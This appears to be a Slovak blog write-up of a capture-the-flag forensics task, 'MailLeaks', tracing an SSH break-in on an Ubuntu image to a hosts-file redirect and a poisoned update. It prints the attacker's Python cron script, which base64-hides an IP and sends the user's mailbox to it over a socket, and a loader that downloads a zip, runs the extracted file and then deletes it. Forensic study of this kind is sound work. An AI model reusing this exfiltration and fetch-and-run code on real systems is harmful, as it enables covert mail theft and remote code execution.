V sekcii "Forensics" tohto ročníka súťaže CyberGame sa nachádzala téma "MailLeaks".
Forenzná analýza - hráči hľadajú v dátach z postihnutých počítačov digitálne stopy, ktoré ich privedú k vlajke
2.1 Destination
Pred niekoľkými dňami sme boli hacknutí, skontrolovali sme systém na malware pomocou antivírusu, ale nič sme nenašli, ale zrazu nám začala unikať pošta. Ako došlo k úniku pošty a na akú IP sa odoslala?
Vlajka je IP adresa, na ktorú boli e-maily odoslané.
Stiahol som si zo zadania súbor files.tar.gz, po rozbalení gz má tar súbor 3,1GB. Obsahuje image linuxového filesystému Ubuntu 22.04LTS.
Tento .tar sa dá bez ďalšieho rozbalenia množstva súborov priamo prechádzať napr v Midnight Commanderi.
Ako prvé preskúmam jediný používateľský adresár /home/bob. V .profile ani .bashrc nie je nič podozrivé. V .bash_history je vidieť, že tento súbor niekto vyčistil. Následne sa pozrel do /var/log/auth.log a potom zmenil svoje (bob) heslo.
Pozrel som preto /var/log/auth.log, vidieť tu opakované pokusy (slovníkový útok?) o prelomenie hesla pre bob používateľa, až po úspešné prihlásenie sa útočníka:
Mar 26 12:46:58 mail sshd[76661]: Accepted password for bob from 198.18.14.145 port 61433 ssh2
Nasledujú záznamy s pokusmi o "sudo vi /var/logs/auth.log" (preklep) a "sudo vi /var/log/auth.log" o 12:47:21.
Vyzerá, že 27.3. o 2:23 sa prihlásil skutočný majiteľ konta bob z lokálnej siete (192.168...) a spravil nález.
Veľmi ma to síce neposunulo ďalej, viem však, že ma zaujímajú posledné zmeny na filesystéme, tie budú najskôr útočníkove. Zoradím si teda v Midnight Commanderi cez menu adresáre podľa "modify time" a vidím, že 26.3. boli modifikované adresáre /home, /root a /etc.
Súbory používateľa /home/bob nič zaujímavého neobsahovali, v adresári /root však vidieť v súbore .viminfo modifikácie cez editor vim v takomto poradí:
/etc/ssh/sshd_config
/var/logs/auth.log
/etc/hosts
/var/log/auth.log
Ako však vidieť (a je to logické), to naozaj zaujímavé sa muselo udiať v /etc.
Je tu síce veľa modifikácií zo dňa 26.3., avšak viem, že útočník sa úspešne pripojil až 12:47. Preto viem, že sshd_config zmenený skôr nebude upravený útočníkom (MaxAuthTries 1000).
V súbore /etc/hosts je jediný záznam ku updatom tento, to však nie je správna odpoveď:
80.211.208.80 best-upgrades-around.online
Pozerám ďalšie zmeny a skoro všetky sú z času 14:06 a súvisia s inštaláciou antivíru ClamAV.
Posledná zmena v /etc je za 27.mar 03:23 je v skripte:
/etc/cron.daily/health-check
Zdrojový kód skriptu je v jazyku Python a vyzerá, že preposiela Bobove maily na pevne zadanú zakódovanú IP adresu TARGET_IP:
#!/usr/bin/env python3
import os
import socket
import base64
MAIL_DIR = "/var/mail/"
USER_MAIL = "bob"
TARGET_IP = "MTk4LjE4LjEyLjEy"
TARGET_PORT = 12345
def read_mail(user_mail):
mail_path = os.path.join(MAIL_DIR, user_mail)
try:
with open(mail_path, 'r') as mail_file:
return mail_file.read()
except FileNotFoundError:
return None
def send_mail(mail_content, target_ip, target_port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
try:
sock.connect((base64.b64decode(target_ip).decode(), target_port))
sock.sendall(mail_content.encode())
except Exception as e:
pass
if __name__ == "__main__":
mail_content = read_mail(USER_MAIL)
if mail_content:
send_mail(mail_content, TARGET_IP, TARGET_PORT)
Kód preložím z base64 napr cez CyberChef, alebo príkazom, získam IP ktorá je vlajkou:
echo "MTk4LjE4LjEyLjEy" | base64 -d
198.18.12.12
2.2 Regular
Ako sa tento súbor dostal do nášho systému?
Vlajka je názov zdrojového súboru, z ktorého bol tento skript vytvorený.
Máme vypátrať, odkiaľ prišiel súbor health-check, skript denne spúšťaný z Cronu.
Hľadám posledné zmeny v skriptoch a binárkach a nájdem jediný súbor /usr/bin/upgrade z času po 26.3.
...
with requests.get("http://best-upgrades-around.online/firmware-upgrade.zip", stream=True) as response:
...
...
os.system("mkdir -p /usr/local/upgrade/downloads/")
os.system("mkdir -p /usr/local/upgrade/extracted/")
download_firmware_zip()
in_file = open("/usr/local/upgrade/downloads/firmware-upgrade.zip", "rb")
data = in_file.read()
in_file.close()
chunks = split_binary_stream(data, "\x50\x4b\x03\x04\x14")
for chunk in chunks:
try:
for file in extract_zip_from_data(chunk):
if os.path.isfile("/usr/local/upgrade/extracted/"+file[0]):
continue
with open("/usr/local/upgrade/extracted/"+file[0], "wb") as binary_file:
binary_file.write(file[1])
except:
pass
os.system("chmod +x /usr/local/upgrade/extracted/upgrade")
os.system("/usr/local/upgrade/extracted/upgrade")
os.system("rm -rf /usr/local/upgrade/extracted/")
Skript je písaný v jazyku Python a sťahuje súbor z adresy http://best-upgrades-around.online/firmware-upgrade.zip, uloží ho do adresára /usr/local/upgrade/downloads/
Potom spraví to, že stiahnutý .zip súbor naseká podľa oddeľovačov a každý blok dát rozbalí do cieľového adresára /usr/local/upgrade/extracted/.
Vytiahnutý súbor "upgrade" spustí a hneď zmaže.
Vlajka teda je upgrade
2.3 Location
Prosím, analyzujte obsah tohto súboru.
Z .tar archívu si vytiahnem súbor /usr/local/upgrade/downloads/firmware-upgrade.zip. Keď ho rozbalím, vidím len súbor so skriptom "upgrade" ktorý už poznám.
Samozrejme, keď som pozrel do adresára /usr/local/upgrade, podadresár extracted neexistuje (bol zmazaný skriptom).
Oddeľovač ktorý Python použije na nasekanie stiahnutého .zip súboru obsahuje 5 znakov, prvé dva su "PK" čo mi niečo pripomína. A naozaj, všetkých 5 znakov je súčasť hlavičky zip súborov.
Jedná sa teda o "zlepené" .zip súbory za sebou, teda treba skúsiť rozbaliť ich každý zvlášť.
Na analýzu zlepencov je dobrý program binwalk.
binwalk firmware-upgrade.zip
DECIM HEXADEC DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 491, uncomp.: 788, name: readme.txt
559 0x22F Zip archive data, at least v1.0 to extract, compressed size: 830, uncomp.: 830, name: health-check
1459 0x5B3 Zip archive data, at least v1.0 to extract, compressed size: 77, uncomp.: 77, name: upgrade
1541 0x605 Unix path: /usr/local/upgrade/extracted/health-check" /etc/cron.daily/
1840 0x730 End of Zip archive, footer length: 22
1862 0x746 Zip archive data, at least v2.0 to extract, compressed size: 176, uncomp.: 259, name: upgrade
2180 0x884 End of Zip archive, footer length: 22
Vidím teda, že naozaj obsahuje 3 zip súbory, readme.txt, health-check a upgrade.
Rozbalím ho teda cez:
binwalk -e firmware-upgrade.zip
Vytvorí podadresár _firmware-upgrade.zip.extracted, v ňom sú hore spomenuté súbory.
Pozriem do súboru readme.txt a tam máme base64 vlajku:
Base64:U0stQ0VSVHtoMWRkM25fejFwfQ==
TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdC4gVXQgc2FnaXR0aXMsIHJpc3VzIGFjIHB1bHZpbmFyIGRhcGlidXMsIG1ldHVzIG1hdXJpcyBzb2RhbGVzIHZlbGl0LCBhdCB2ZXN0aWJ1bHVtIG1pIGV4IGVnZXQgdXJuYS4gU2VkIGlkIGNvbnZhbGxpcyBsaWJlcm8sIGV0IGx1Y3R1cyBuZXF1ZS4gTmFtIGFjIHRlbGx1cyBsb3JlbS4gUGhhc2VsbHVzIGV0IHB1bHZpbmFyIGxlY3R1cy4gU2VkIGxpYmVybyBtYXVyaXMsIG9ybmFyZSBhIHZlbGl0IGVnZXQsIGVmZmljaXR1ciB2aXZlcnJhIHNhcGllbi4gRG9uZWMgcXVpcyBlZ2VzdGFzIG51bmMuIFNlZCBhYyBkaWduaXNzaW0gbnVsbGEuIE1hdXJpcyBuaXNsIG1pLCBlZmZpY2l0dXIgc2l0IGFtZXQgbGFjdXMgaWQsIGVnZXN0YXMgY29uZ3VlIGR1aS4gU2VkIGRhcGlidXMgbGFjaW5pYSBlbGl0LCBzaXQgYW1ldCBzb2RhbGVzIGxvcmVtIHByZXRpdW0gdXQuIE51bGxhbSBlZmZpY2l0dXIgc2FnaXR0aXMgbmVxdWUsIGF0IHRpbmNpZHVudCBkaWFtIGZyaW5naWxsYSBzaXQgYW1ldC4KCg
SK-CERT{h1dd3n_z1p}
2.4 Utility
Zistili ste, že súbor obsahuje skrytý archív zip. Dá sa nejako zistiť, ktorý program tento súbor dekomprimoval a spustil? Vlajka je full path k programu.
V bode 2 som dopátral /usr/bin/upgrade
Spustí sa pravidelne pri štartovaní služby /etc/systemd/system/upgrade.service.
2.5 Final
To je náš systém aktualizácie od nášho dodávateľa, ako je možné, že stiahol tento súbor? Náš dodávateľ je dôveryhodný! Vlajka je názov_súboru:riadok, ktorý je za to zodpovedný.
Ako som už zistil, upgrade súbor sa sťahuje z adresy:
http://best-upgrades-around.online/firmware-upgrade.zip
Po opätovnom stiahnutí ale tento zip obsahuje len legitímny súbor upgrade, ktorý stiahne z rovnakej adresy súbor latest-upgrade-commands. Neobsahuje health-check a readme.txt.
Čo sa teda zmenilo? Táto doména sa nachádza aj v čase o 13:51 upravovanom (hodinu po prelomení hesla) súbore /etc/hosts:
127.0.0.1 localhost
127.0.1.1 mail
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
80.211.208.80 best-upgrades-around.online
Doména je pridaná na koniec s IP adresou, skúšal som pingnúť a nesedí voči reálnemu prekladu. Na tejto upravenej IP je vložený väčší zip od útočníka.
Vlajka je /etc/hosts:10
* v prípade tejto úlohy bolo priam nevyhnutné poznať štruktúru FS linuxu
* súbory .viminfo poskytli veľkú pomoc, mal som ich nájsť ?
* konfigurácia ssh nebola najlepšia - dôvod prečo útočník mohol použiť slovník
Žiadne komentáre:
Zverejnenie komentára